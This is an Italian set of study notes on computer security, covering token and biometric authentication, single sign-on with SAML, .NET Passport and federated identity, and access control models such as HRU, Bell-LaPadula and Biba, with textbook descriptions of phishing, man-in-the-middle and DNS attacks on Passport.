Vulnerabilità dei Token = L'autenticazione basata sul token dimostra solo l'identità del token, non quella dell'utente. I token possono essere persi, rubati o falsificati e quindi chiunque acquisisca un token può impersonare l'utente. Per risolvere questo inconveniente spesso autenticazione basata su token è combinata con autenticazione basata su conoscenza. Per compiere violazioni, terze parti necessitano sia di token sia di sapere la password. (Bancomat richiede: Tessera bancomat + PIN (Personal Identification Number)).

Autenticazione Basata su Token Due tipi di token: • memory card: hanno memoria ma non hanno capacità di processo quindi non possono controllare il PIN o crittografarlo per la trasmissione, inoltre il PIN è trasmesso in chiaro quindi è + vulnerabile ad attacchi di sniffing ed la sua sicurezza è risposta nel server di autenticazione nel quale siamo costretti a riporre tutta la nostra fiducia; • smart token: hanno capacità di processo. (Bancomat può controllare il PIN o crittografarlo per la trasmissione).

Smart Token = Smart token possono utilizzare differenti protocolli di autenticazione: - scambio statico di password: l'utente si autentica al token e il token si autentica al sistema, - generazione dinamica di password: il token genera periodicamente nuove chiavi. Per autenticare il token al sistema lùtente deve leggere la chiave corrente e scriverla nel sistema (la chiave può anche essere comunicata direttamente dal token).- challenge-response: basato su un challenge-response handshake ovvero la comunicazione fra token e sistema può avvenire direttamente o tramite utente.

Challenge Response Handshake = il server di autenticazione stabilisce una sfida (challenge). Es., numero casuale. Il token genera la risposta alla sfida utilizzando la chiave privata del token.se la risposta è corretta l'autenticazione ha successo. Esempio: smart card: ogni smart card ha una unica chiave privata (nota al server di autenticazione). Per autenticare l'utente al sistema la smart card verifica il PIN. Codifica l'identificatore dell'utente, il PIN e informazione addizionale (es., data e ora), e manda il testo crittato al server. La autenticazione ha successo se il server può decodificare correttamente.

Autenticazione Basata su Caratteristiche dell'utente = è basata su caratteristiche biometriche: - caratteristiche fisiche: impronte digitali, forma della mano, impronta della retina o del viso, ... - caratteristiche comportamentali: firma, timbro di voce, scrittura, "keystroke dynamic".... .Richiedere una fase iniziale (enrollment phase) in cui vengono eseguite più misurazioni sulla caratteristica di interesse e avviene la definizione di un template; avviene poi l'autenticazione: confronto fra caratteristica misurata per l'utente sotto controllo rispetto al template memorizzato, se la misura e il template corrispondono (a meno di un intervallo di tolleranza) l'autenticazione avviene. Cn questo tipo di sistemi nn si può richiede una perfetta uguaglianza è infatti importante definire la soglia di tolleranza in modo da massimizzare i successi (autenticazione corretta di utenti legittimi e rifiuto di intrusi) e minimizzare gli insuccessi.

Autenticazione Biometria = Anche se meno accurate sono la forma di autenticazione più forte eliminano vulnerabilità dovute a impersonificazioni.. Sono tuttavia ancora poco utilizzate xkè troppo costose (necessitano di hardware costoso) e intrusive (non sempre accettate dagli utenti). Gli scanner della retina sono una tra le misure più accurate ma si teme per pericoli agli occhi causati dal laser. Inoltre tale sistema suscita dibattiti politici e sociali per potenziale mancanza di privacy.

Quale Tecnica di Autenticazione? = Esiste metodo di autenticazione "più forte", non "migliore". Trade-off fra costi e benefici: metodi più deboli possono andare bene in certi casi. Le password sono (e saranno ancora nel breve futuro) il meccanismo di autenticazione più utilizzato. Da un punto di vista prettamente tecnico il miglior metodo di autenticazione è costituito dalla combinazione di autenticazione biometrica fra utente e token e mutua autenticazione basata su crittografia fra token e sistema.

Autenticazion Single Sign-On

Autenticazione in Sistemi Aperti Internet oltre ad essere un grande contenitore di informazioni, permette anke l'accesso ai servizi distribuiti. L'utente è perciò costretto ad autenticarsi nell'ambito di ciascun dominio con cui interagisce (necessità di ricordarsi più coppie (login, password) una per ciascun dominio). Per realizzare la cooperazione di servizi localizzati in diversi domini, è opportuno utilizzare tecniche di autenticazione che permettano agli utenti di non doversi autenticare più volte

Single Sign On. Il Single Sign-on (SSO) è un sistema ke appunto permette all'utente di autenticarsi una sola volta, ovvero di utilizzare un'unica credenziale per avere accesso a tutte quelle risorse per cui è autorizzato. Tuttavia sembrerebbe una debolezza dal punto di vista della sicurezza, il fatto che un'unica credenziale permetta di accedere ad un alto numero di risorse. Per questo motivo può essere necessario affiancare al meccanismo di Single Sign-on un sistema di autenticazione più sicuro.

Caratteristiche del Single Sign-On. L'utente si autentica in un dominio (dominio primario) e questo gli permette di accedere anche ad altri domini; tra il dominio primario e gli altri domini devono essere presenti delle relazioni di trust. I domini secondari ottengono quindi dal dominio primario le informazioni dell'utente che ha usato il servizio di sign-on del dominio primario.A seconda del tipo di architettura adottata, ci sono due tipologie di sistemi SSO: - centralizzato; - federato

Single Sign-On Centralizzato. Esiste un'autorità centrale e una base di dati centralizzata che gestisce le informazioni di autenticazione relative ai vari utenti (identità degli utenti). I vantaggi: facilità di gestione e il controllo dell'accesso può essere fatto sfruttando queste informazioni dal dominio primario mentre lo svantaggio principale sta nel fatto che tutti i domini parteci-

panti hanno la necessità di interagire con il dominio primario. Viene adottato perciò un protocollo di comunicazione tra il dominio primario e i domini secondari che permetta lo scambio delle informazioni di autenticazione degli utenti: SAML
SAML. Security Assertion Markup Language è un insieme di specifiche per lo scambio di informazioni (assertion), basate su XML, riguardanti autenticazione e sicurezza degli utenti • Con SAML versione 1.0, sostiene OASIS, gli utenti dovrebbero essere in grado di effettuare il login su un sito Web e trasferire le proprie credenziali automaticamente sui siti partner. SAML è stato ideato per funzionare sui meccanismi di trasporto più comuni, come HTTP, SMTP, FTP e alcuni framework XML, tipo SOAP. **Componenti Principali di SAML.** Asserzioni. Possono essere di tre tipi diversi, ma sono sempre dichiarazioni di fatti riguardanti l'utente, sia esso una persona fisica o un computer: - Le asserzioni di autenticazione (authentication assertion) richiedono che un utente provi la propria identità; - Gli attributi (attribute assertion) contengono i dettagli specifici dell'utente, come la nazionalità o il tipo di carta di credito; - I permessi (authorization decision assertion) identificano invece quali operazioni un utente può compiere (per esempio autorizzazioni all'acquisto di un bene). Ogni tipo di asserzione contiene come minimo le seguenti informazioni: -identificatore univoco che serve come nome dell'asserzione; -data e ora di creazione (opzionale); -periodo di validità (opzionale); -cosa l'asserzione dichiara. Può inoltre contenere altre informazioni opzionali; l'asserzione può dipendere da condizioni addizionali come la dipendenza da altre asserzioni che devono essere valide. Request/response protocol. Definisce come si richiedono e ricevono le asserzioni. SAML supporta messaggi SOAP su HTTP in questo momento, ma in futuro saranno supportati altri meccanismi di trasporto. Bindings. Fornisce i dettagli esatti su come le richieste SAML devono essere mappate nei protocolli di trasporto, come SOAP su HTTP. Profili. Sono le istruzioni su come inserire o trasportare le assertion SAML tra sistemi di comunicazione diversi. [Da notare che SAML, pur definendo asserzioni specifiche su un utente e sulle sue credenziali, di fatto non li autentica né autorizza].
Microsoft .NET Passport. È un sistema centralizzato per il SSO basato sul meccanismo dei cookie. Per proteggersi dagli attacchi utilizza due tecniche: -Captcha -Secure Sockets Layer (SSL). Ci sono tre figure in gioco: -l'utente -i siti partecipanti -il server Passport Sign-on. Processo di Registrazione. L'utente si registra presso il server Passport e solo dopo il processo di registrazione può utilizzare i servizi offerti dai siti partecipanti. **Dettagli.** L'utente naviga nel sito A e clicca sul pulsante Sign-In, poi viene ridiretto a una pagina di registrazione di Passport sulla quale vengono riportate le info ke il sito A ha scelto. L'utente legge e accetta i termini d'uso e sottomette la form di registrazione. L'utente viene ridiretto verso il sito A cn il ticket di autenticazione e le info di profilo frittate. Il sito A decritta il ticket e le info di profilo e continua il processo di registrazione o concede l'accesso. Per ogni utente Passport genera un identificatore unico detto Passport Unique Identifier (PUID). La password di un utente non viene mai spedita ad un sito partecipante e le informazioni di profilo vengono sempre spedite in forma crittata e condivise tra i siti partecipanti con il principio del consenso. La tecnologia Captcha per evitare che vengano richieste registrazioni fasulle automaticamente, genera dei test che soltanto gli esseri umani sono in grado di superare ma nn i programmi non sono in grado di superare. Viene inoltre inviata una email di benvenuto per verificare la registrazione.
Processo di Autenticazione. Avviene quando l'utente, navigando su un sito partecipante clicca il bottone di Sign-in (il server Passport crea un cookie).**Dettagli.** L'utente visita il sito A e clicca sul link di Sign In, poi viene ridiretto al sito Passport.net. Passport controlla se l'utente possiede un Ticket Granting Cookie neui file dei cookie del browser. Se il TGT nn soddisfa le regole di Sign-In stabilite dal sito A, Passport dirotta l'utente verso la pagina di log on dove fornire le info corrette; altrimenti l'utente viene mandato nel sito A cn il suo TGC e le info di profilo frittate. Il sito A decritta il ticket e le info. Ogni sito partecipante deve essersi preventivamente registrato con il server Passport e ad ogni sito viene così assegnata una chiave di cifratura. Durante la fase di autenticazione dell'utente, se questa va a buon fine, Passport genera tre cookie che sono crittati con la chiave del sito partecipante: il ticket cookie che contiene il PUID e un timestamp - il profile cookie che contiene le informazioni di profile dell'utente - il visited site cookie che contiene una lista di siti a cui l'utente ha avuto accesso. Quando l'utente durante il processo di autenticazione inserisce le informazioni di login in (login e password) queste vengono trasferite al server Passport tramite il protocollo SSL. Se l'utente si è autenticato e vuole accedere ai servizi offerti da un ulteriore sito partecipante (per esempio il sito B) l'utente viene rediretto al server Passport, il server Passport deve verificare che il sito B è veramente un sito partecipante e deve verificare la validità del ticket che l'utente possiede e che contiene il suo PUID. Se il controllo da esito positivo, il server Passport genera dei nuovi cookie e aggiunge il ticket e il profilo crittato come query string alla URL dell'indirizzo di ritorno. Se il sito partecipante richiede di fornire una prova recente dell'avvenuta autenticazione (per maggior sicurezza), allora il server Passport deve reautenticare l'utente chiedendogli di inserire le credenziali opportune
Canale Sicuro di Sign-in. Tale processo di autenticazione è soggetto alll'attacco di eavesdrop da parte di un intruso sul canale di comunicazione tra il browser dell'utente e il server Passport. Anche se i cookie sono crittati, l'intruso potrebbe impadronirsi di questi cookie e impersonare l'utente legittimo quindi per proteggere il sistema si può usare il protocollo SSL durante tutto il processo di autenticazione. SSL infatti non consente ad un intruso di capire quando viene spedito un cookie perché il traffico è crittato. Tuttavia l'utilizzo di SSL non basta. L'utente deve inserire login e password per autenticarsi presso il server Passport e per evitare attacchi mirati all'individuazione della password, il server accetta solo un numero limitato di tentativi di inserimento della password e comunque resta la possibilità che una password possa essere indovinata. Per questo motivo si aggiunge un secondo livello di autenticazione: il primo livello è identico a quello già visto (inserimento di login e password e sua trasmissione tramite SSL) il secondo livello è costituito dalla digitazione di un ulteriore codice di 4 cifre. Questo codice deve essere stato determinato durante la fase di registrazione. Mentre l'inserimento errato della password nel primo livello di autenticazione non blocca mai l'account, per il secondo livello il numero massimo di tentativi è cinque. Se l'utente supera i 5 tentativi, il processo di autenticazione non procede finché l'utente non ha risposto a tre domande scelte tra dieci possibili durante la fase di registrazione. La comunicazioe durante il secondo livello di autenticazione avviene sempre tramite protocollo SSL. Il contatore che tiene traccia del numero di errori viene resettato dopo ogni sign-in terminato con esito positivo. Tuttavia se si sbaglia ad inserire il secondo codice, tutti i siti che richiedono un solo livello di autenticazione sono però accessibili. **Single Point of Failure.** Il server Passport è un punto che può attrarre l'attenzione di utenti maleintenzionati. Il

server Passport prende le decisioni circa l'autenticità dell'identità degli utenti e memorizza tutti i loro dati, compresi i numeri di carta di credito.
Esempio Frode Passport - Mercante Fasullo Bob utente Passport - Mallory è l'attaccante. Bob è abituato a usare Passport e si fida del fatto che il server Passport è sicuro. Mallory realizza un negozio on-line per la vendita di merce che può attrarre l'attenzione di Bob - Mallory realizza un sito web con indirizzo pasport.com che appare esattamente come il sito passport.com. Bob vuole comprare delle merce dal negozio di Mallory, clicca il link sign-in e viene rediretto al sito di Mallory pasport.com -Bob fornisce il suo indirizzo di email e la password e Mallory si impossessa così delle informazioni di autenticazione che può ora usare per fare delle spese on-line usando l'identità di Bob
Attacco Attivo. Bob utente Passport, Alice = mercante fidato e Mallory = l'attaccante - Mallory ha già avuto acceso alla rete tra Bob e Alice e può riscrivere i pacchetti che passano tra Bob e Alice - Bob vuole comprare della merce dal negozio di Alice e le invia una richiesta - Alice risponde a Bob di usare il servizio di login all'indirizzo www.passport.com - Mallory, in attesa, blocca il pacchetto che Alice ha spedito a Bob e lo modifica specificando come URL per il login pasport.com - Bob visita il sito di Mallory, inserisce le informazioni di login (senza aver notato nulla di insolito) - Mallory ha avuto successo e agisce come proxy tra Bob e Alice e tra Bob ed il server Passport.
Attacco al DNS Supponiamo che Mallory ottenga il controllo del DNS di Bob. Mallory potrebbe a questo punto riscrivere la entry passport.com in modo che questa contenga l'indirizzo IP del falso sito di Mallory pasport.com e a questo punto si otterebbe lo stesso risultato visto nell'attacco precedente
Single Sign On: Approccio Federato. L'approccio centralizzato utilizza una autorità centrale e una base di dati centrale dove vengono memorizzate tutte le informazioni degli utenti. L'approccio federato invece fa uso di diverse autorità indipendenti. L'identità di un utente può essere considerata come la combinazione delle diverse identità indipendenti che l'utente possiede nei vari provider. Le identità degli utenti che sono distribuite tra questi provider sono poi collezionate in un'unica identità chiamata network identità. L'utente con questo approccio può così decidere di memorizzare informazioni critiche solo presso i provider di cui si fida e non deve necessariamente fidarsi solo di una singola autorità. **Network Identità.** Diversi siti e/o servizi sono in grado di fornire servizi di personalizzazione in modo da adattarsi alle necessità degli utenti. L'utente ottiene così un account a cui è quindi associato uno username e può memorizzare informazioni quali, ad esempio, il numero di carta di credito, l'indirizzo, il numero di telefono e così via. L'insieme di tutte queste proprietà (attributi) distribuite tra i vari account costituiscono la network identità dell'utente
Circle of Trust. Un circle of trust include un certo numero di servizi con cui un utente ha diversi separati account. Uno o più servizi agiscono come un'autorità centrale perché gli altri servizi stabiliscono con questi delle relazioni di trust. Queste autorità centrali sono chiamate identity provider gli altri servizi invece sono chiamati service provider. L'idea è quindi quella di combinare i diversi account (local identity) in modo tale da permettere l'utilizzo dei servizi all'interno di un circolo dopo che l'utente si è autenticato presso uno qualsiasi degli identity provider.
Identità Federata La federazione di identità permette all'utente di associare le sue identità e i service provider che sono normalmente separati. Questo collegamento tra i vari account dell'utente ha luogo a seguito di accordi che vengono presi tra i vari provider coinvolti ma l'utente deve ovviamente fornire il suo consenso agli accordi che vengono stipulati tra i vari provider.
Federazione di Identity Provider È anche possibile eseguire il processo di federazione di identità tra identity provider. In questo modo è possibile combinare identità attraverso più circle of trust. In questo modo anche se esiste più di un identity provider all'interno dello stesso circle of trust, l'utente deve eseguire una sola volta il processo di sign on, purché esista un adeguata relazione di trust tra i vari identità provider. Se due circle of trust o più specificatamente due identity provider non hanno un collegamento diretto, può comunque esistere un percorso tra i due che passa attraverso qualche altro provider. Lungo il percorso che collega due identity provider, l'identità dell'utente è federata lungo ogni arco della catena e quindi non c'è la necessità di un identificatore unico globale come in .Passport. Collegando i provider di diversi circle of trust è così possibile coprire tutti gli account di un particolare utente

Controllo dell'accesso. Valuta le richieste di accesso alle risorse/informazioni da parte degli utenti che hanno "guadagnato" accesso al sistema e decide se permetterle o negarle. La correttezza del controllo dell'accesso presuppone **–** Corretta identificazione/autenticazione degli utenti (Nessuno deve poter acquisire i privilegi di un altro) **–** Correttezza delle informazioni e delle regole di controllo (che devono essere protette da modifiche improprie). L'autenticazione è anche necessaria per stabilire le responsabilità (accountability). Ogni login dovrebbe corrispondere ad un solo utente, nn lasciando la possibilità di account condivisi.
Politiche e meccanismi Nello studio del controllo dell'accesso è utile fare una distinzione tra: le Politiche che definiscono le linee guida ad alto livello e le regole che descrivono gli accessi autorizzati al sistema. Le politiche definiscono regole generali che governano l'accesso (es., politica aperta vs politica chiusa) Spesso il termine politica è utilizzato anche per riferirsi alle specifiche autorizzazioni e restrizioni di accesso che devono essere implementate (es., "Impiegati possono leggere il bollettino del dipartimento").I Meccanismi ovvero funzioni di basso livello (hardware-software) che implementano le politiche.
La separazione di politiche e meccanismi permette di: -discutere differenti requisiti di accesso **indipendentemente dalla loro implementazione -confrontare differenti politiche** per il controllo degli accessi -**confrontare differenti meccanismi** che implementano la stessa politica -sviluppare meccanismi in grado di **implementare più politiche**
Meccanismi per il controllo dell'accesso si basano sulla definizione di un reference monitor che deve essere: tamper-proof: non può essere alterato -non-bypassabile: media tutte le richieste di accesso al sistema e alle sue risorse -security

kernel: deve essere confinato in una parte limitata del sistema (distribuire le funzioni di sicurezza in tutto il sistema implica che tutto il codice deve essere verificato) -piccolo abbastanza da poter essere verificato con metodi rigorosi e formali
Meccanismi di sicurezza L'implementazione di un meccanismo non è banale ed è complicata dalla necessità di evitare •storage channel (problema del residuo) le pagine di memoria e i settori di disco devono essere "ripuliti" prima di essere riallocati a un nuovo processo per prevenire "scavenging" dei dati. •covert channel: canali che non sono intesi per trasferimento di informazioni (es., le risposte del sistema o gli effetti del carico del sistema sulla esecuzione di un programma) che possono essere sfruttati per inferire informazione.
Lo Sviluppo di controllo dell'accesso è affrontato tramite un approccio multi-fase, dalle politiche ..... ai meccanismi. Innanzitutto bisogna definire un Modello per il controllo degli accessi che definisce formalmente la specifica per l'esecuzione del controllo dell'accesso. Il modello deve essere: completo: deve rappresentare tutti i requisiti di sicurezza che devono essere rappresentati. **e** consistente: non deve contenere contraddizioni..
Progettazione di un sistema di sicurezza tra i vantaggi di un approccio multifase abbiamo ke in ogni fase possiamo concentrare lo studio su aspetti particolari; si può separare la valutazione di politiche, modelli e meccanismi e dimostrare proprietà sul sistema; ad es dimostrando che il modello è "sicuro" e che il meccanismo implementa correttamente il modello possiamo affermare che il sistema è "sicuro" o almeno dimstriamo sicurezza rispetto a come l'abbiamo definita.
Le Politiche di sicurezza possono essere distinte in politiche per: •controllo dell'accesso: definiscono chi può (o non può) accedere alle risorse. Tre classi principali: **–** Politiche discrezionarie (DAC): Controllano l'accesso sulla base dell'identità degli utenti che lo richiedono e su regole che stabiliscono chi può (o non può) eseguire azioni sulle risorse. Sono chiamate discrezionarie perchè agli utenti può essere data l'autorità di passare i propri privilegi ad altri utenti attraverso il controllo di una politica amministrativa. **–** Politiche mandatorie (MAC) **–** Politiche basate sui ruoli (RBAC) •amministrazione: definisce chi può specificare le autorizzazioni/regole che governano il controllo dell'accesso ed è generalmente associata a DAC e RBAC
Modelli di sicurezza Nello studio dei modelli di sicurezza valutiamo •Entità del sistema: Soggetti che possono accedere agli oggetti; Oggetti che devono essere protetti; Azioni che possono essere eseguite sugli oggetti •Stato di autorizzazione/protezione specifica gli accessi che sono permessi/negati •Assiomi che devono essere soddisfatti
Modello a matrice di accesso Introdotto da Lampson (71) nel contesto della protezione dei sistemi operativi. Esteso da Graham e Denning (72) e infine formalizzato da Harrison, Ruzzo e Ullmann (76). È detto anke modello HRU ed è chiamato "a matrice di accesso" perchè lo stato di autorizzazione è rappresentato da una matrice e fornisce una struttura per descrivere i sistemi di protezione (molti sistemi successivi possono essere classificati come modello a matrice di accesso)
Modello a matrice di accesso – stato di protezione Lo stato del sistema è definito da una tripla (S,O,A) dove •S è l'insieme dei soggetti che possono esercitare privilegi; •O è l'insieme degli oggetti sui quali possono essere esercitati privilegi. In alcuni casi i soggetti possono essere considerati oggetti, nel qual caso S incl O. Es., file, directory (in SO); relazioni, viste (in DB); •A è la matrice di accesso, dove le righe corrispondono ai soggetti, le colonne e A[s,o] indica i privilegi del soggetto s sull'oggetto o. Lo stato può essere modificato tramite comandi che utilizzano le primitive: **enter** r into A[s, o], **delete** r from A[s, o], **create subject** s', **destroy subject** s', **create object** o', **destroy object** o'
Implementazione del modello a matrice di accesso La matrice è generalmente grande e sparsa. Memorizzare la matrice come array bi-dimensionale porterebbe a uno spreco di memoria. Approcci alternativi •Tabella di autorizzazione Memorizza le triple (s,o,a) non nulle della matrice in una tabella con tre colonne (DBMS) •Access control list (ACLs) Memorizza per colonne. •Capability list (ticket) Memorizza per righe.
ACL vs Capability •ACL richiede di autenticare sempre i soggetti. -- Capability non richiede sempre autenticazione di oggetti, ma richiede *non falsificabilità* e controllo sulle propagazione di capability. •ACL è più efficiente nel controllo dell'accesso e revoca relative a oggetti.--Capability è più efficiente nel controllo dell'accesso e revoca relative a soggetti. •Le operazioni per-oggetti sono considerate prevalenti->molti sistemi ACL persino una forma abbreviata di ACL (es., Unix 9 bits)
Comandi I cambiamenti allo stato del sistema sono modellati tramite un insieme di comandi della forma **command** c(x1, . . . , xk) if r1 in A[xs1,xo1]and…r1,..rm sono modi di accesso.
Trasferimento di privilegi Autorizzazioni amministrative (che permettono trasferimento di privilegi) possono essere modellate associando flag ai modi di accesso. Es. •copy flag (*): il soggetto puo concedere ad altri l'autorizzazione •transfer-only flag(+): il soggetto puo concedere ad altri l'autorizzazione (e il flag su questa) ma cosi facendo la perde.
Transizioni degli stati. L'esecuzione di un programma c(x1,...,xk) sullo stato di sistema Q = (S,O,A) provoca una transizione allo stato Q'
Problema della safety Riguarda il problema della propagazione dei privilegi. Dato un sistema con configurazione iniziale Q0 esiste una sequenza di richieste che eseguita su Q0 produce uno stato Q' dove a appare in una cella A[s, o] che non la aveva in Q0? Non tutti i flussi di privilegio sono indesiderati infatti i soggetti fidati sono ignorati nella analisi. è un problema non decidibile (può essere ridotto al problema della terminazione di una macchina di Turing) •decidibile per comandi mono-operazionali (ogni comando può eseguire una sola operazione primitiva) •decidibile quando i soggetti e gli oggetti sono finiti

Debolezze del DAC Il controllo degli accessi discrezionario controlla sono gli accessi diretti ma nn cè nessun controllo su cosa succede all'informazione una volta che è rilasciata. DAC è così vulnerabile a Trojan horse che sfruttano privilegi del soggetto chiamante Trojan Horse: Programma con una funzione nota utile ma che contiene codice nascosto che esegue funzioni (non legittime) ad insaputa del soggetto chiamante.

Politiche mandatarie Controllo dell'accesso mandatorio: Impongono restrizioni sul flusso di informazione che non possono essere bypassate da Trojan Horse. Distinguono fra utenti e soggetti che operano per conto degli utenti. Utenti = Persone--Soggetti = Processi (programmi in esecuzione). Ci può essere fiducia nel fatto che gli utenti non si comporteranno in modo

illecito ma non cè la stessa fiducia nei programmi che questi eseguono. Sono basate sulla classificazione di soggetti e oggetti. Due classi di politiche: •Segretezza (es., modello Bell La Padula) •Integrità (es., modello Biba) La classificazione è un elemento di un insieme parzialmente ordinato di classi. L'ordine parziale è definito da una relazione di dominanza, ≥. Le **Classi di sicurezza** formate da due componenti •Livello di sicurezza elemento di un insieme gerarchico di elementi. •Categorie sottoinsieme di un insieme non gerarchico di elementi (es., Administrative, Financial). Può partizionare le differenti aree di competenza all'interno del sistema e permette di implementare restrizioni "need-to-know". La relazione di dominanza è definita come segue: (L1,C1) > (L2,C2) sse L1>L2 & C1>C2. I Criteria del DoD assumono classi di accesso di questo tipo; lo standard richiede la definizione di 16 livelli di classificazione e di 64 categorie. **Reticolo di classificazione.** Le classi di sicurezza insieme cn ≥ formano un reticolo (SC, ≥). Riflessivita di ≥ transitività di ≥; antisimmetria di ≥; Least Upper Bound, Greatest Lower Bound

Classificazione per controllo di segretezza Ad ogni utente è associata una classe di accesso (clearance). L'utente può connettersi al sistema ad ogni classe dominata dalla sua clearance. I soggetti attivati in una sessione assumono la classificazione con la quale l'utente si è collegato. La Classe di segretezza assegnata ad un utente riflette la fiducia nel fatto che lùtente non rilasci l'informazione cui ha accesso ad altri che non hanno la clearance appropriata; mentre assegnata ad un oggetto riflette la sensitività dell'informazione contenuta nell'oggetto e il potenziale danno che potrebbe risultare dalla sua impropria divulgazione. Categorie definiscono area di competenza di utenti e dati (need to know)

Politica mandatoria per la segretezza Goal: prevenire flusso di informazione verso classi di accesso più basse o non comparabili. **NO WRITE DOWN** Un soggetto s può scrivere solo oggetti la cui classificazione domina quella di s (λ(o) ≥ λ(s)) **NO READ UP** Un soggetto s può leggere solo oggetti o la cui classificazione è dominata da quella di s (λ(s) ≥ λ(o)). I Trojan Horse che cercano di fare fluire informazioni lungo canali legittimi sono bloccati. Utenti ad alto livello si possono collegare a livelli più bassi per scrivere informazioni non sensibili. Gli oggetti creati prendono la classificazione del soggetto che li ha creati.

Modello di Bell e LaPadula Definisce una politica mandatoria per la segretezza (ha introdotto i concetti di no-read-up, no-write-down). Differenti versioni del modello (per correggere vulnerabilità o per particolari sistemi). Il sistema è modellato come stati e transizioni di stato. Stato v€V tripla ordinata (b,M, λ) • b € (S × O × A): insieme degli accessi correnti nello stato v • M: Matrice di accesso con S righe, O colonne, (entrate assumono valori in A) • λ: S U O-> L: ritorna la classificazione di soggetti e oggetti **proprietà: simple security** Stato (b,M, λ) è sicuro sse V(s, o, a) € b, a = read-> λ(s) ≥ λ(o) ***-security** Stato (b,M, λ) è sicuro sse V(s, o, a) € b, a = write-> λ(o) ≥ λ (s). Uno stato è sicuro sse soddisfa security property e *-property. funzione di transizione di stato T : V × R->V transforma uno stato sicuro in uno stato sicuro. Un sistema (v0,R, T) è sicuro sse v0 è sicuro e ogni stato raggiungibile da v0 eseguendo una sequenza finita di una o più richiesta da R è sicuro.

Limitazioni della politica mandataria I requisiti del mondo reale spesso necessitano di eccezioni alle restrizioni della politica mandatoria. Es., **declassificazione** I dati possono poter essere declassati dopo un certo periodo •**sanitizzazione** Un processo può produrre dati meno sensibili di quelli a cui accede come per i processi Trusted (fidati). Per un processo trusted alcune restrizioni della politica mandataria possono essere omesse. La determinazione delle classi di accesso non è sempre facile **Associazione:** l'associazione di un insieme di proprietà può avere classificazione maggiore delle proprietà singolarmente prese (es., *nome* and *stipendio*) **Aggregazione:** Un'aggregazione può avere una classificazione maggiore dei singoli valori che la compongono (es., la locazione di una *singola* nave militare è unclassified ma la locazione di *tutte* le navi di una flotta è secret).

Coesistenza di DAC and MAC DAC and MAC non sono mutuamente esclusive • Es., BLP applica anche una politica discrezionale DAC property b C {(s, o, a) | a € M[s, o]} Se sia DAC sia MAC sono applicate solo gli accessi che soddisfano entrambe sono permessi DAC fornisce discrezionalità all'interno dei confini del MAC

Limitazioni delle politiche mandatarie Le politiche mandatorie (anche con il principio di tranquillità) controllano solo canali aperti di informazione (flusso attraverso canali legittimi). Sono vulnerabili a canali coperti. I canali coperti sono canali non normalmente utilizzati per comunicare informazione ma che possono essere sfruttati a tale scopo. Ogni risorsa del sistema condivisa fra processi di diverso livello può essere sfruttata per stabilire un canale coperto.

Esempio di canali coperti e di tempo •Un soggetto a basso livello chiede di scrivere in un file ad alto livello, che non esiste. **–** Il sistema ritorna errore (se il sistema crea un file lùtente non può essere informato di possibili errori). • Un soggetto a basso livello richiede una risorsa (es., CPU o lock) che è occupata da un soggetto ad alto livello. **–** Il sistema non alloca la risorsa perchè occupata. • Un processo ad alto livello può occupare risorse condivise e modificare i tempi di risposta a processi di basso livello (timing channel. Meccanismi di locking e controllo della concorrenza devono essere ridisegnati in sistemi multilivello. (Attenzione ad evitare denial-of-service.)

Limitazioni delle politiche mandatarie La analisi di canali coperti è solitamente fatta nella fase di implementazione (per assicurare che la implementazione non sia troppo debole). Modelli di interfaccia cercano di eliminare la possibilità di canali coperti nella fase di modellizzazione. È adottata una politica di non interferenza che garantisce ke attività di processi di alto livello non deve avere alcun effetto su processi a livelli inferiori o non comparabili. Bisogna comunque sempre ricordarsi che dimostrazioni sul modello formale provano la sicurezza così come l'abbiamo definita, non possono provare sicurezza assoluta.

Politiche mandatorie per l'integrità Le politiche mandatorie per la segretezza controllano solo i flussi impropri di informazione ="Non proteggono l'integrità. Politica duale a quella della segretezza può essere applicata per l'integrità. ="classificazione di soggetti e oggetti per l'integrità Livello di integrità • assegnato ad un utente riflette il livello di correttezza delle informazioni che lùtente ha e la fiducia nel fatto che lùtente non modificherà le informazioni impropriamente. • assegna-

to ad un oggetto riflette il grado di fiducia nell'informazione contenuta nellòggetto e il potenziale danno che potrebbe derivare dalla sua modifica o distruzione impropria. Categorie definiscono aree di competenza di utenti e dati.
Modello di Biba per l'integrità Definisce una politica mandatoria per l'integrità Goal: prevenire il flusso delle informazioni verso classi più alte o non comparabili. **Politica di stretta integrità** Basata su principi duali a quelli di BLP ***-property** Un soggetto s può scrivere in un o solo se !(s) ! !(o) **simple property** un soggetto s può leggere un oggetto o solo se !(o) ! !(s) ="NO WRITE UP NO READ DOWN Politiche di segretezza e integrità possono coesistere ..... **ma** ..... devono avere classificazioni "indipendenti"
Modello di Biba – politiche alternative Low-water mark per soggetti • un soggetto s può scrivere un oggetti o solo se !(s) ! !(o) • un soggetto s può leggere ogni oggetto o. Dopo l'accesso !!(s) := glb(!(s), !(o)). Svantaggio: lòrdine delle operazioni modifica i privilegi del soggetto **Low-water mark per oggetti** • Un soggetto s può leggere un oggetto o solo se !(o) ! !(s) • Un soggetto s può scrivere ogni oggetto o. Dopo l'accesso !(o) := glb(!(s), !(o)). Svantaggio: non protegge l'integrità si limita a segnalare che è stata compromessa
Limitazione della politica di Biba Controlla solo compromessi di integrità dovuti a flussi impropri. L'integrità è un concetto più complesso.
Applicazione di politiche mandatorie a basi di dati Il modello di Bell e La Padula è stato proposto per la protezione a livello di sistema operativo. Approcci successivi hanno investigato la applicazione della politica mandatoria a modelli di gestione di dati (DBMS, sistemi ad oggetti, ...) Mentre in sistemi operativi la classificazione è assegnata a livello di file, DBMS possono supportare un livello di granularità maggiore • relazione • attributo • tupla • elemento
Modello relazionale Ogni relazione è caratterizzata da • Schema della relazione R(A1, . . . ,An). Indipendente dallo stato. • Istanza della relazione, dipendente dallo stato, composta da tuple (a1,...,an) **Name Dept Salary -** Bob Dept1 100K - Ann Dept2 200K - Sam Dept1 150K Attributi chiave identificano univocamente le tuple **–** Non ci possono essere due tuple con chiavi uguali **–** Gli attributi della chiave non possono assumere valori nulli
Modello relazionale multilivello In DBMS che supportano classificazione a livello di elemento, ogni relazione è caratterizzata da • Schema della relazione R(A1,C1, . . . ,An,Cn), indipendente dallo stato **–** Ci, i = 1, . . . , n intervallo di classi di accesso • Insieme di istanze della relazione Rc dipendenti dallo stato; una istanza per ogni classe di access c. Ogni istanza è composta da tuple (a1, c1 . . . , an, cn). L'istanza a livello c contiene solo elementi la cui classificazione è dominata da c.
Modello relazionale multilivello Accesso controllato secondo i principi della politica mandataria • no read up (la vista di un soggetto ad una certa classe contiene solo gli elementi con classificazione dominata da quella classe) • no write down però ulteriormente ristretto ="Ognuno scrive al proprio livello Con granularità fine il write up non è necessario
